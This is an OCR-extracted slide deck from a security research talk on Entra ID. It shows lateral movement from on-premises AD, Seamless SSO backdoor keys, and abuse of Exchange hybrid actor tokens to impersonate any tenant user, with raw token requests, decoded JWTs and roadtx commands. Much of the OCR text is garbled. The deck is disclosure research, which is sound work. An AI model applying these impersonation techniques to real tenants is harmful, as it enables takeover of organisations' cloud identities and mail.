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From The Hague, Netherlands
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Talks at Black Hat / DEF CON / BlueHat / Troopers / x33fcon
Author of several Active Directory and Entra ID tools
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T ldapdomaindump
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T BloodHound.py

T ntlmrelayx / krbrelayx

T ROADtools
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Agenda

1 How it all started (initial research)

1 Back to the drawing board (hardening of Entra ID)
1 Discovering actor tokens

1 Reuvisiting the topic after a year

1 Hacking every tenant (hypothetically)
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1
How it all started

W FoXIT

I’'m in your cloud...

Hacking Azure AD via Active Dire

Dirk-jan Mollema (@ _dirkjan)

Azure Active Directory
Active Directory / ri\ 297 .
' o 3\
N ™ 249
Controls / 1‘ o ;

Dirk-jan Mollema
- Office 365

Domain admin

fox-it. com

fox-it. com Classification: Public

Dirk-jan Mollema



Assumption: security boundary

.

|
Active Directory I

|
Azure Active Directory

%

|
Security boundary



Target: Azure AD connect (now Entra Connect Sync)

1 Along time ago this service was running as Global Admin.

1 At the time the service was running with a privileged user
account with the "Directory Synchronization Accounts” role.

1 Could change cloud-only Global Admins to synchronized
admins and overwrite their password (my first AAD bug).



microsoft.aad.directory/servicePrincipals
/appRoleAssignments/update

microsoft.aad.directory/servicePrincipals/audience
Jupdate

microsoft.aad.directory/servicePrincipals/authentication
Jupdate

microsoft.aad.directory/servicePrincipals/basic/read

microsoft.aad.directory/servicePrincipals/basic/update |

microsoft.aad.directory/servicePrincipals/create

microsoft.aad.directory/servicePrincipals/credentials
Jupdate

microsoft.aad.directory/servicePrincipals
/memberOf/read

Update servicePrincipals.appRoleAssignments property in
Azure Active Directory.

Update servicePrincipals.audience property in Azure Active
Directory.

Update servicePrindpals.authentication property in Azure
Active Directory.

Read basic properties on servicePrincipals in Azure Active
Directory.

Update basic properties on servicePrincipals in Azure Active
Directory.

Create servicePrincipals in Azure Active Directory.

Update servicePrincipals.credentials property in Azure
Active Directory.

Read servicePrincipals.memberOf property in Azure Active
Directory.
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Directory Synchronization Accounts permissions

Only used by Azure AD Connect service.

Actions Description

microsoft.directory/organization/dirSync/update Update organization.dirSync property in Azure Active Directory.
microsoft.directory/policies/create Create policies in Azure Active Directory.
microsoft.directory/policies/delete Delete policies in Azure Active Directory.
microsoft.directory/policies/basic/read Read basic properties on policies in Azure Active Directory.
microsoft.directory/policies/basic/update Update basic properties on policies in Azure Active Directory.

microsoft.directory/policies/owners/read Read policies.owners property in Azure Active Directory.



=
Finding the internal API version

Status Method Domain File Cause Type Transferred Size 0ms |

GET i@ afd.hosting.portal.a... zwB7yYovLudD.js Fetch is 6.03 KB 24.14 KB | sams

POST @ portal.azure.com DelegationTokenzfeature.refreshtokenbinding=true&featur... xhr json 293 KB 6.21KBE  M317ms

POST & portal.azure.com DelegationToken?feature.refreshtokenbinding=true&Featur... xhr json 348 KB 6.36 KB I 152ms
graph.windows.net  roleDefinitions?api-version=1.61-internal&5top=500

OPTIONS @ mainiam.ad.extaz... CurrentContext =hr plain 98 0B | 35ms

GET @ mainiam.ad.ext.az... CurrentContext =hr json 992 B 998 | 57 ms

OPTIONS @ mainiam.ad.ext.az... RoleAssignments?scope=undefined xhr plain 752 B 0B | 62 ms

GET i@ mainiam.ad.ext.az... RoleAssignments?scope=undefined xhr json 2.08 KB 450 KB M 395 ms



- . .
Interesting things

c o ® © & https://docs.microsoft.com/en-us/azure/active-directory/conditional- B - % Search
management sett;ngs. l . o )
Y File
Conditional Access Documentation Are Graph APIs available for configuring Conditional Access
* Owverview

policies?
* Quickstarts
Currently, no.

* Tutorials
GET AzureAD & GET https://graph.windows.net/wills...@ GET https://graph.windows.net/6489... + oo
GET v https://graph.windows.net/myorganization/policies?api-version=1.6
Pretty Preview Visualize BETA JSON « 5
1
2 "odata.metadata": "https://graph.windows.net/myorganization/$metadata#directoryObjects"”,
3 "value": []
4



Pretty

18
19
20
21
22
23
24
25
26
27

28
29
30
31

v https://graph.windows.net/myorganization/policieslapi-version=1 .61-internal Save

Raw

I

Preview Visualize BETA JSON ¥ 5 Ii

QD e U H 9D oed
"deletionTimestamp": null,
"displayName": "Baseline policy: Require MFA for admins",
"keyCredentials": [],
"policyType": 10,
"policyDetail": [

"{\"PolicyKind\":\"RequireMfaForAdmins\",\"Version\":4,
\"CreatedDateTime\":\"2019-05-29T14:25:40Z\",
\"ModifiedDateTime\":\"2019-05-30T14:25:40Z\",\"State\":\"Enabled\",\"Conditions\":
{\"Users\":{\"Include\": [{\"Roles\":[\"194aedcb-b126-40b2-bd5b-6091baB8097ad\",
\"29232cdf-a323-42fd-ade2-1d097af3eddf\",\"62e90394-69f5-4237-9a90-012177145ela\",
\"blbelc3e-b65d-4al19-8427-f6fa0d97feba\",\"f28alf50-f6e7-4571-818b-6al2f2af6baa\"]}]}},
\"Controls\":[{\"Control\":[\"Mfa\"]1}],
\"IncludeOtherLegacyClientTypeForEvaluation\":true}"

1,
"policyIdentifier": null,
"tenantDefaultPolicy": null



SYNC account permissions

1 Modifying service principals was documented.
1 Modifying / deleting policies was documented.

1 Reported policy attack surface to Microsoft but
was not deemed an issue.

1 Moaodifying Conditional Access policies via the AAD
Graph was finally fixed in 2023.



Other policies

Fde Edt View Tooks Help

oNew Database @ Open Database |

Database Structure  Browse Dsta | EGR Prapmas  Execute SQL

Table: || Policys

obyectType chyectlo

P (-
16't;oky BOT00012-919(-8001-2756-F1 140025082
171 Polcy Dfosfeed. 11294505 bbbo 0fabR25ba48
\a‘ Polcy IC50405-2156-4R30-Peh 2-FH5ES Al 1
w: Policy CBHLGCHT-304-L47-bbI0-#ID0AE Icssed
2()j Pokcy 458acd12-8c03-2a00-acf) - 208cSca2 1 fdd
ZItPou:y 3387046 7850-4290-9a50 08099 | 5ba4d
22 Polkcy bI7O0061-177d-4803-8M0D-231 20271831
23' Polcy 7oLl 2-0831-Lae 2-H2 2b-26cAd55M b6
aﬂ Pokcy DO31D346-52cf deat-816-SbbaceS3She2

#Open Project

2 3 s 28 48
displayName

)

DefaultMDMPolicy

Internal

Knowen Networks List

All Compliant Network locations
Password Management

On-Premize Authentication Flow Policy
19/01/2022 22:34:55
B2BManagementPolicy

Compliant device office

D8 Browser for SQLite - fhome/user/ROADools/roadrecondb

Ii5ave Project wAttach Database X Close Database
na any colum
hergCredentiats JolicyType ¥ policyDetail pobcyldentifier
i} S ["OCMdmPolicyVEVAppIdhL..
1] 6 ["(\"CompressedCidripRanges\™... 31229f02a-de06- 4605 DD 18-a2362041a216
0 6 [PV DummyKnomrNetworkPolio "\ )] 025-07-23T190235 12491842
1] 6 ["(VApplyToUnknownCountry\" faise. 34a603-8382-2669-856d-ebOObe6LS10
o 7 I"\Passwol g POl {0VIV
[{eustomKeyidenafier™: nudl, “endDate™ ., 8 "(VOnPremAuthenccatonPowPoloy ™
n 10 ["(VSecurmyPolicg\" {\*Version\" 0,
1] 11 PO B2EManagementPolon ..
1] 18 ["{V"Versioni™ 1,V CreatedOate Time\ "

-

ROADtools



Other policies

On-Premise Authentication Flow Policy
B Seamless SSO settings and Pass Through Auth config
Password Management
1 SSPR policy
Default Policy (type 24)
' Authentication methods policy
Fxternal Identities Policy
1 B2B collaboration settings



Seamless SSO backdoor keys

1

In 2023 | discovered the ability to add backdoor Seamless
5SO keys via the "On-Premise Authentication Flow Policy”

Normally you'd need Global Admin to configure this, but
the sync account could do this through its permissions to
modify policies.

Was technically documented behaviour, did not disclose it
but saved it for later when | figured out how to work around
MFA.



The missing piece of the puzzle

1 In 2024, external authentication methods were
released, adding external MFA provider support.

1 Stored on the "Authenication Methods Policy”
policy object internally.

T It we maodify it, we can put admins in scope of our
policy.



Authentication Methods

& Authentication methods | Policies

iminyourcloud - Microsoft Entra ID Security

| © Search | X ¢ -~ Add external method (Preview) O Refresh }5? Got feedback?
v Manage
Method Target Enabled
2 Policies
N Built-In
Password protection
Passkey (FIDO2) All users Yes
|k Registration campaign
Microsoft Authenticator All users Yes
© Authentication strengths
SMS No
i Settings
Email OTP No
' Monitering
Certificate-based authentication No
4 Activi
. o QR code No

[ User registration details
' External (Preview)

Registration and reset ,
- events I Not a real MFA provider 1 group Yes I

ou Bulk operation results



On-prem AD to Entra ID

| ended up with several methods to compromise
cloud identities from on-prem AD.

Permissions were documented and probably “by
design”, so not very motivated in reporting or
spending further research effort.
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Hardening of Sync account permissions

In August 2024 Microsoft changed the
permissions.

Sync account no longer had permissions to
modify objects via Graph APIs.

Directory Synchronization Accounts

Do not use. This role is automatically assigned to the Microsoft Entra Connect service, and is not

intended or supported for any other use
. Expand table

Actions Description

microsoft.directory/onPremisesSynchronization/ Read standard on-premises directory synchronization
standard/read infarmation



..,._andl.took that personally
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What else runs on-prem that talks to Entra ID



Back to 2019-ish

| was tasked with reviewing a Microsoft 365
/ Exchange hybrid environment.

Some mailboxes were hosted on-prem and
some in Microsoft 365.



Exchange service principal

Office 365 Exchange Online

Overview Application roles assigned to others Application defined permissons Raw
Display name Office 365 Exchange Online
Objectid a761cbb2-fbb6-4¢c80-aa50-504962316eb2
Appld 00000002-0000-0ff1-ceD0-000000000000
Publisher Microsoft Services
Status Enabled

Assignment required No

https://exchange.hybrid.iminyour.cloud/ecp

https://exchange.hybrid.iminyour.cloud/owa

https://exchange-hybrid.hybrid.iminyour.cloud/ecp

https://exchange-hybrid.hybrid.iminyour.cloud/owa

——— ROADtools

https://outlook.cloud. microsoft

https://outiook-sdf.cloud.microsoft



Thought process

Exchange online service principal has on-prem redirect URL

Exchange on-prem can auth users with OAuth?

Completing the OAuth2 flow as a web app needs a secret / cert

Secrets / certs can be used in the client credentials flow as well

We can auth as Exchange Online from on-prem



onfirming the suspicion

-

Office 365 Exchange Online

koyCredentials: Arrayid]
v 8; Object
custosKeyIdentifier: “31F25099B43C5CO470ECAS1838644A26C845C715"
endDate: “2026-61-117T15:31: 262"
keyld: "04a4927h-d46€. 4026 -h7ad 351503252866
startDate: "2025.66.19T07:19:862"
type: "AsymelricX3e9Cert”
usage: "Verlify*

value: "MIICr l(CAZaWIBEIUTI L7+6M03KNoO 1y LIBTPTZrxr AWDOY JKOZIMveNAGEL B0AM

customKeyldentifier: "3749786CAF6440827TABTEFSO43TEFGIIGLIBETAF"

endDate: *2029-06-95T15:59:082"

keyld: *a65d18a00-41b2-43¢1-0278-23157¢1bddnS"

startDate: “2024-87.65715:59: 082"

type: "AsymretricX509Cert”

usage: “Verify*

value: "HITDKTCCAMIGAMTBAZIQUrMY ke JRwITHOZZ2 vaZ3U AN kghk i GowBAAD S FADA INTMY
v 2: Object

custorKeyldentifier: "281ABAAATISAEATLIOBAT 1185480604 00BYFESA2"

endDate: “2038-62-2571%:60: 582"

keyld: *742d0d328-cd13-48db-ach0-26cf96114cch”

startDate: “2024-62-25T18:56: 582"

type: "Asymmetricxse9Cert”

usage: *Verify*®

value: *MIIDJzCCAQ+gAMIBAQIOMD 1 ctPANCOVIDY/ 2 THoto | ANBkahk1GOWEaAds FADAZMR CM



Becoming Exchange online

T we compromise Exchange hybrid on-
premises we can obtain the credentials of
the shared service principal and
authenticate as Exchange online.



.
Exporting the certificate

i certlm - [Certificates - Local Computer\Personal\Certificates]

File Action View Help
o M A5 XED = B

W Certificates - Local Computer r issued To Issued By Expiration Date  Intended Purposes Friendly Name Status  Certificate Tem..
v 38 Personal | 241 f2872fe-c191-4d73-beB4- 202034106 MS-Organization-P2P-Access [2025]  7/15/2025 Server Authentication <None>
Vol Cartificates | B 28720e-c191-4d73-bcB4-2b2b341cdBl  MS-Organization-Access 1/5/2034 Client Authentication  <None>

o Teustasd ook Castification futy ?JWW-Enhanqe Hybnd-Exchange 7 Server Authentication Microsoft Exchange

. Enterprise Trust | Microsoft Exchanae Sarver Auth Cartificate. Microsoft Exchange Sarver Auth 8/0/200 arver Authent Microsoft Exchange

. Intermediate Certification AUt g MSuc- SHA2- HYBRID-EXCHANGE WMSve-SHA2-HYBRID-EXCHANGE  7/3/2034 Server Authentication  WMSVC-SHA2

- Trusted Publishers

. Untrusted Certificates

| Third-Party Root Certification |

| Trusted People ‘

7 Client Authentication lssuers |
"] Preview Build Roots

~J Test Roots

| AAD Token Issuer

| Smart Card Trusted Roots




ut

ut

m

lla

?;] Hybrid-Exchange

# Microsoft Exchange Server Auth
22 WMSvc-SHA2-HYBRID-EXCHANG

Open
All Tasks
Cut

Copy
Delete

Properties

Help

Hybrid-Exchange 7/5/2029 Server Authel
‘ xchange Server Auth C..  6/9/2029

4YBRID-EXCHANGE  7/3/2034 Server Authel
Open

Request Certificate with New Key...

Renew Certificate with New Key..

Manage Private Keys..
Advanced Operations >




-

£* Centificate Export Wizard

Bport Private Key
You can choose to export the private key with the certificate,

Private keys are password protected. If you want to export the prvate key with the
certificate, you must type a password on a later page.

Do you want to export the private key with the certificate?
® Yes, export the private key
I No, do not export the private key



Test our hybrid setup

Version

Exchange PowerShell

Q Search

Set-PerimeterConfig
Set-ServicePrincipal
Set-SettingOverride
Test-ApplicationAccessPolicy
Test-OAuthConnectivity
Test-ServicePrincipalAuthorization
Test-SystemHealth

Update-ExchangeHelp

Learn / ExchangePowerShell / organization / (*.) Ask Learn

Test-OAuthConnectivity

Module: ExchangePowerShell

Applies to: Exchange Server 2013, Exchange Server 2016, Exchange Server 2019, Exchange Online

This cmdlet is available in on-premises Exchange and in the cloud-based service. Some parameters
and settings may be exclusive to one environment or the other.

Use the Test-OAuthConnectivity cmdlet to test OAuth authentication to partner applications for a

user.

For information about the parameter sets in the Syntax section below, see Exchange cmdlet syntax.



Testing OAuth connectivity

§ Machine: Hybrid-Exchange.hybrid.iminyour.cloud - O X
Y ge.ny Y

[PS] C:\Windows\system32>Test-OAuthConnectivity ! https://outlook.offic
e365.com/ Hybrid'

Task ResultType




PS] C:\Window ¢ 23 ail.Fullld
he configuratios ccessfully 76 minute
he tok cache

} Outbour

A'l"):'v\r
:[OAuthCredentials: henticate] gotecine
i I it _id

cor

: [CAuthCredentials: henticate] ) om 2 l/c look " 5/ ) 2
0 - BE20GHR00AERH en € 5= app S 3 < 2 3] | \ autnor f 4 .Ml oftonline
F A00 *, realm: rus St a1 0000-c000

:[OAuthCredent |
: [DAuthCredentials:GetToken irt building :
ilder:Get ken] start building
1Builder: t i\{l[.it-kw li check ing enabled autl

2871281 -4+t 2-9651-a8697d8fel

undatine the ¢ id with the auth sor

apptoken from the aut! afb3f

T-S344- LOYyuUur . C1ouu

16]%)
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rmatic

421515
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Actor token?

Information:[TokenCache:GetActorToken] Each key and its counts are L:00000002-0000-0ff1-cebd-0000000
00000 -AS : 00000001 -0000 - 0000 - 00 -0000VVVBVE6287F28f-4f71-4322-9651-a8697d8felbc, ©
Information:[TokenCache:GetActorToken] cache size is ©

Information:[TokenCache:GetActorToken] try to get a new token synchronously

Information: [ACSTokenBuildRequest:BuildToken] started

Information:[TokenBuildRequest:GetActorTokenFromAuthServer Sending token request to 'https://accoun
ts.accesscontrol.windows.net/6287128t-41f/71t-4322-9651-a8697d8felbc/tokens/OAuth/2"' for the resource

0000002 -0000-0ff1-celD-000000000000/outlook.office.com@6287f28f-4f71f-4322-9651-a8697d8felbc' with t
oken: grant_type=http%3ak2fik2foauth.net%2fgrant_type%2fjwt%2fl.0%2fbearer&assertion=eyJ0eXAi0iJKV1Qi
LCIhbGciOiJSUzIINiIsIngldCI6Ik4wbDRiRT1rUUXKNNQYLVFRMzcyTTRFNDUWOCIS. eyJpc3MiOiIwMDAWMDAWMiOWMDAWLTB




Actor token request

POST /6287128f-4f7f-4322-9651-a8697d8felbc)ftokens/OAuth/2HTTP/1.1
Host: accounts.accesscontrol.windows.net
Accept-Encoding: gzip, deflate, br
Accept: */*

Content-Length: 957
Content-Type: application/x-www-form-urlencoded

grant_typeghttp://oauth.net/grant the/jwt/l.0/bearer§assertion=

eyJhbGci0iJSUzIINiIsINR5cCIBIkpXVCIsIngldCI6Ik4wbDRiRT1rUUXKNNQYLVFRMzcyTTRFNDUWODOifQ.eyJpc3MiOiIwMDAwWMD
AwMiOwMDAwL TBmZjEtY2UwMCOWMD AwMDAWMD AWMDBAN j IT4AN2YyOGYtNGY3Z1i00MzIyL Tk2NTEtYTg20TdkOGZIMWI jTiwiYXVkIjoiMDA
wMD AwMDE tMD AwMC OwMD AwL WMwMD AtMD AwMD AwMD AWMD AwL 2F jY291bnRzL mF jY2Vzc2NvbnRyb2wud21uZG93cy5uZXRANj T4AN2Yy0GYt
NGY3Zi00MzIyLTk2NTEtYTg20TdkOGZIMWI jIiwiaWFOIjoiMTcAMDMAMDIOMyIsIm5iZiI6IjE30DAZODAYNDMil CI1eHALO1iIxNzgwM
zgwNTQzINnO.aXVb21luYbAcDhOyu vM-wDQ3NT-CtOCxu808M8T5zwXaNW8505WDMOmXawt 1U3ruR8wlaAUJyA33V3Y2lmw23G21XGSgny
2Jsqy3RKCPgRzeDB8atxLcDQbXDfygafl/ciVX7hUowdl rMFdSOvxM93JyLuEgvWd4CQZgpYq_KeCPPh64j -unwN7A70KIceZzKvUK6G3L
_qvyZNB9Zt4sXJpi8MeXVoIOUQSGKOCYREL gbNamL rVZTdidnfb205]DTgTZWo3alRcr8Jo3zY9s18ud4dD7Sr7bngPLyICe2ImCF1tjC

B8cObptVfiTCI9ITIBzNncVL 2aVWZz7/pxeal SQfw&resource=
00000002-0000-0ffl-ce00-000000000000/outlook.office.com@6287f28f-4f7f-4322-9651-a8697d8felbc




Actor token response

Response m - B

Pretty Raw Hex Render & \n E

SAHQJB fWx40zw) FBOF 2WTMgAA; domain=.accounts.accesscontrol.windows.net;
path=/; secure; HttpOnly; SameSite=None

15 Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; httponly

16 Set-Cookie: stsservicecookie=estsfd; path=/; secure; httponly

17 Date: Tue, 02 Jun 2026 06:06:12 GMT

18 Content-Length: 1475

19

20 {

“token_type":"Bearer",

"expires_in":"B6399",

"not_before":"1780380072",

"expires_on":"1780466772",

"resource":

"'000000RO2-0000-0ffl-cebl-000000000000/ cutlook.office.com@s287128f

-4f71-4322-9651-a8697d8Telbc",

"eyJ)0eXA101JKV1QiLCIhbGeci01JSUZIINIIsIngldCI6IndoMDZZRWEETERKNXNO
TmFVeVIZMLB2TzhiMCIsImtpZCI6IndoMDZZRWEBTENKNXNOTmFVeVIZML82TZzhLM
CJ9. eyIhdWQiOiIwMDAWMD AwMiOwMDAWL TBmZ j ETY2UwMC OwMD AwMD AWMDAWMDA VD
3VObGSvaySvZmZpY2UuY29tQDYyODdmMj hmL TRmN2YtNDMyMiO5NjUxLWEAN ] k3ZD
hmZTFiYyIsImlzcyI61AwMDAWMDA XL TAWMDATMOAWMCL jMDAwWL TAWMD AwMDAWMDA
wMEA2M] g3Z314Z100ZjdmLTQzMjItOTY1IMS1hODYSN2Q4ZmUxYmMil CIpYXQi0jE3
0DAZODAWNZISIm51iZiI6MTc4MDMAMDAIMiwiZXhwI {oxNzawNDY2Nzcyl CIpZGVud




Information: [OAuthTokenBuilder.GetAppWithUserToken] only nameid to be included in the claim: no
Information: [OAuthTokenBuilder.GetAppWithUserToken] building token with user context for the audienc
e '00000002-0000-0ff1-ced0-000000000000/outlook.office.com@6287f28f-4f7f-4322-9651-a8697d8felbc’
Information: [OAuthCredentials:Authenticate] send request to 'https://outlook.office.com/ews/Exchange
.asmx' with the bearer token: [{"typ":"JWT","alg":"none"} "iss": "00000002-0000-0ff1l-cebd-0000000000

00@6287128F-4f7f-4322-9651-a869/d8felbc"” "aud": "00000002-0000-0ff1-ceb0-000000000000/0outlook.office
.Ccom@6287F28F-4f7f-4322-9651-a8697d8felbc” "nbf": "1780379740" "exp": "1780408540" ; actor: {"typ":"
JWT","alg":"RS256", "x5t" : "whe6sEkzLHI5SsNNaUyRY2_608Ke", "kid" : "wh@6sEkzLHI5sNNaUyRY2_608K@"}."oid":
a’761cbb2-fbb6-4c80-2a50-504962316eb2" "iss": "00000001-0000-0000-CcO00-000000000000@6287F28F-4f7F-432
2-9651-a8697d8felbc"” "aud": "00000002-0000-0ff1l-ce00-000000000000/0cutlook.office.com@6287f28f-4f7f-4
322-9651-a8697d8felbc" "nbf": "1780379440" "exp": "1780466140"




THIS IS FINE.




L

Access Control Service (ACS)

Request actor token

<

! k
Exchange hybrid on-prem ssue actor token

Send actortoken, impersonate Bob
>

Send actortoken, impersonate Alice
>

Send actortoken, impersonate *

>

>

Microsoft Entra ID

Exchange online



Actor tokens

(ROADtools) X roadtx describe -f .roadtools_actortoken
{

"alg": "RS256",

"kid": "_jNwjeSnvTTK8XEdrS5QUPkBRLLO",

"typ": "IWT",

"x5t": " jNwjeSnvTTK8XEdrSQUPKBRLLO"

"aud": "0OOEEEO2-0000-0ff1-celO-000000000000/cutlook.office.com(6287F28f-4f7f-4322-9651-a8697d8felbc",
"exp": 17533052430,

"{at": 1753218530,

"{identitunrovidec': "AAAAAAAT-AAAA-AAAA-cANA-AAAARAAAAAAAAGIRTFIRF-AF7f-4322-9A51-28697d8felbc",
"iss": "00000001-0000-0000-cO00-000000000000@6287f28f-4f7f-4322-9651-a8697d8felbc”,

"nameid": "00000002-0000-0ff1-ceb0-000000000000@6287128F-4171-4322-9651-a8697d8felbc",

"nbf": 1753218530,

"oid": "a761cbb2-fbb6-4c80-a3a50-504962316eb2",

"sub": "a761chh?.-fhhA-4cR0-23250-504962316eb2",

"trustedfordelegation”: "true"},

“Xms_spcu”: “true”




Unsigned bearer token sent to Exchange online

"alg": "none",
"typ": "IWT"

}

{

"actortoken”: "eyJl0eXA101JKV1QiLCIhbGci01JSUzIIN1IsIng1ldCI6I19qTndqZVNudlRUSZhYRWRYNVFVUGE
QiO1IWMDAWMDAWM1OWMDAWLTBmMZ JELY2UwMCOWMDAWMDAWMDAWMDAVD3VObGOvaySvZmZpY2UuY29tQDYyODdmM jhmLTRm
MDAWMC1 jMDAwL TAWMDAWMDAWMDAWMEA2Mjg3Z j14Z100Z jdmLTQzMjItOTY1IMS1hODYSN2Q4ZmUXYmMiLCIpYXQ10JE3NT
10eXByb3ZpZGVyI joiMDAWMDAWMDE tMDAWMCOWMDAWLWMwWMDA tMDAWMDAWMDAWMDAWQDYyYODdmM jhmLTRmN2Y tNDMyMi05
ZTAWLTAWMDAWMDAWMDAWMEA2MjQ3ZjI4Z100ZjdmLTQzMFItOTYIMS1hODYSN2Q4ZmUXYmMMLLCIvaWQi01JhNzYXxY2J1iMl
I2LTRJODAtYWEIMCOIMDQSNFIZMTZ1YFI1LCIOcnVzZzdGVkZmOyZGVsZWdhdGlvbiI6InRydWULLCI4bXNfc3BjdSI6InRyd
JTgJAQzrVAZztKO2FsCXCpCn2XgCO12YmdSmDpmF76WogMy IxzbwXPNOGB3UdICb19vICAax12FOXG3hIgKkShuWKhVuQS9q
96wWWSYPxj5zyFCP7jOaCsRTXRN1L7M1rLe6gak9c85s00xmr6ITqcpHEVCBBIIeLy6AdYpMO8gPyz1JqjtAp- THSNWMWX3

"aud”:

"exp": 1753219402,

"1at": 1753219102,

"iss": "000C0002-0000-0ff1-ce00-000000000000@6287F28F-4f7f-4322-9651-38697d8felbc",

"nameid": "10032001E2CBE43B",

"nbf": 1753219102,

"niil": "urn:federation:MicrosoftOnline"”,
"sip": "dirkjan@iminyour.cloud”,

"smtp": "dirkjan@iminyour.cloud”,

" "

upn": "dirkjan@iminyour.cloud"




Actor token use cases

With a compromised Exchange hybrid on-
premises we can authenticate as Exchange
online and impersonate any user in the
tenant against Exchange and
SharePoint/OneDrive.
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Service to Service (S25) token properties

« Valid for 24 hours.

« Non-revokable.

« No logs when the actor token is issued.

« Unsigned impersonation token generated locally.

« (Can impersonate anyone within the tenant for
tokens that have “trustedfordelegation”.

« No Conditional Access or any security checks at all.



B
Apps allowed to request S2S tokens

Mostly limited by what Microsoft service principals we are still
allowed to add credentials to, which was significantly reduced
since my initial disclosure about this in 2019.

00000004-0000-0ff1-ce00-000000000000 - Skype for Business Online
00000003-0000-0ff1-ce00-000000000000 - Office 365 SharePoint Online
00000007-0000-0000-c000-000000000000 - Dataverse
00000002-0000-0ff1-ce00-000000000000 - Office 365 Exchange Online
00000015-0000-0000-c000-000000000000 - Microsoft Dynamics ERP



Service to service communication

ﬂ Send actortoken, impersonate * Q
>

Exchange online SharePoint online

Microsoft Backend
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July 8 « 3 min read

Enhancing Microsoft 365
security by eliminating high-

priv

By Naresh Ka

High-privileged access (HPA) occurs when an application or service obtains
broad access to customer content, allowing it to impersonate other users
without providing any proof of user context. For example Appllcatlons A and B

may have a service-to-s

etk

scenario, Application A Mlcrosoft S approach to access rights

Application B can acces
APIs without a user con

Eliminating HPA ensures that users and applications have only the necessary

access rights. Our strategy within Microsoft's internal Microsoft 365 environment

involved fostering an ‘assume breach’ mindset, with a focus on the stringent

enforcement of new standard authentication protocols. With this approach, we

have

successfully mitigated more than 1,000 high-Erivilege application scenarios

thus far. Achieving this was a monumental cross-functional effort at Microsoft,
engaging more than 200 engineers across the company.



Some ideas

| only have a certificate on the Exchange service
orincipal in my tenant.

Microsoft has one that is valid for every tenant.

T we compromise Exchange online, we can potentially
do this in other tenants.

Problem: need Exchange RCE
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Farly 2025

Submitted a talk to Black Hat and DEF
CON that discusses all the patched Entra
Connect Sync lateral movement
techniques, plus the new actor token
attacks targeting Exchange/SharePoint.



June/July 2025

Revisited the topic as | was preparing my
slides and polishing up my proof-of-
concept scripts.



(ROADtoals) e t ininyour.cloud -5 "nsgraph/.default offline_access” cae --key-pen certpoc.key
ert-pen certpoc.pen
Requesting token with scope https:
Tokens were written to .roadtools_auth
(ROADtols) - X roadtx describe
{

“alg®: "RS256",

"kid®: "_jNwjeSnvTTKEXEdr SQUPKBRLLO®,

\ "PCEKCCXCIUFFNEErntuic_ OvOpTNLI-TWZT-Xn2mgAo ",
INTT,
1N 1eSHVTTKEXEd rSQUPKBRLLO"

"alo": "kZAgYEiBFe3ZvFnxUglisbUsHmMvO2hksk3haeSgUUeN] fVGAZsE",
“app playnane”: "0Offlce 365 Exchange Online”,

“app : "96660P92 -0636-6fF) -coBO - G0RENE0PAEEE

“apptdacr”®;

“aud”:

s.windows.net /6287 F28F - 4FTF-4322-9651-28097d6felbe /",

dows.not /6287 F28F-4F7F.4322-9651 -a8657dEfelbc/”,

5+ 4c80-2a56-584962316002",
KHYNOPTKOMUARDIY hvAMAAAAAAAAAMAAANMAAAAAC LAQBSAA. ", | TT roles LI [
.

.Read. AlL",

gty "Directory.Read.All",

'ldt.'-ttszlcn: -Read . ALL",

"Group,Readwrite, ALl", ] °

:Follst;.kgai:»livll'. b Domaln . Readwrlte . Al-l- " 3’
vser.Head. ALl

. ., "EduRoster.Read.All",

SUU ©  O/0ILUUC- DU aLou-asou-S84962316ed

“tenant_region_scope”: "EU", " = "
"tid*: “6287128f-417f-4322-9651-aB697dE z G p d 11
ml\': ':.)mEZpF\'nKﬁu\qr‘.nF.:Zﬁ.}:'.d 22 rou * Rea wrlte * A 2

“:;‘ llid.. 1d-4ach-bad8-dSca?1121e50" 1 pO]'i’Cy = Read 3 All ” s
"User .Read.All"

VpLAYALATOYPLENZC SIn6CBXDrgGoD {K1Pa300RIOMBCIdLZGVuY ] s

"7 28

‘0. 4ZLLYBILLBESARAKEP Jr12-nIvGYXncews5229_ foakc(gllt j4LInSX -WIIFhTriNLXB4py CAKWMODAASGNAA" ,
“wms_spcu’: “true”,
"xns_tcdt®: 1573808047,
"wms_tdbr*: “EU”
J
{ROADtoOLS)




Domain.ReadWrite All

 Allows us to configure custom domains.

e Removing / adding domains.

« Modifying the federation configuration on domains.
« Modify the federation token signing certificate.

« (Changing MFA acceptance in federated tokens.

This will get you high privileged accounts in most Entra ID
environments.



-
July 12t - More actor token experiments

What if | request a token for the Azure AD
graph?



(ROADtools) X roadtx describe -f .roadtools_actortoken
{

"alg": "RS256",

"kid": "_jNwjeSnvTTK8XEdr5QUPKBRLLO",

“"typ": "IWT",

"x5t": "_jNwjeSnvTTK8XEdrSQUPkBRLLo"

aud": "00000002-0000-0000-c000-000000000000/graph.windows.net(6287f28f-4f7f-4322-9651-a38697d8felbc",
"exp": 1752668227,

"1at": 1752581527,

"identityprovider”: "00000001-0000-0000-c0O0-000000000000@6287f28f-4f7f-4322-9651-a8697d8felbc”,
"1ss": "00000001-0000-0000-cO00-000000000000@6287F28f-4f7f-4322-9651-a8697d8felbc”,

"nameid": "00OOOOO3-0000-0ff1-cef-0OOOOONOOOONE6287F28F-4f7f-4322-9651-a8697d8felbc",

"nbf": 1752581527,

"old": "54b0fdbc-0531-4c03-b7bb-e7a4fe3beddn"”,

"rh": "1.AXQAj_KHYnSPIkOWUahpfY_hvAIAAAAAAAAAWAAAAAAAAACEAQBOAA.",

"sub": "54b0Ofdbc-05a1-4c03-b7bb-e7a4fe3bed40”,

“trustedfordelegation”: "true".

"Xms_spcu”: “true”




(ROADtools) X roadtx describe -f .roadtools_auth
{

"alg": "none",

"typ": "IWT"

}
{

"actortoken": "eyJOeXA101JKV1QiLCIhbGci01JSUzIIN1IsIng1dCI6I19qTndqZVNudLRUSZhYRWRY
QLO1IWMDAWMDAWMi1OWMDAWLTBMZ JEtY2UwMCOWMDAWMDAWMDAWMDAVD3VObGOvaySvZmZpY2UuY29tQDYyODdmM
MDAWMC1 jMDAWL TAWMDAWMDAWMDAWMEA2MJQ3ZJI4Z100Z jAmLTQzMFItOTY1IMS1hODYSN2Q4ZmUXYmMLLCIpYXQ1
10eXByb3ZpZCVyI joiMDAWMDAWMDE tMDAWMCOWMDAWL WMWMDA t MDAWMDAWMDAWMDAWQDY yODdmM jhmLTRMN2Y N
ZTAWLTAWMDAWMDAWMDAWMEA2MjQ3Zj14Z100ZjdmLTQzMFItOTY1IMS1hODYSN2Q4ZmUXYmMLLCIvaWQi0iJhNzY
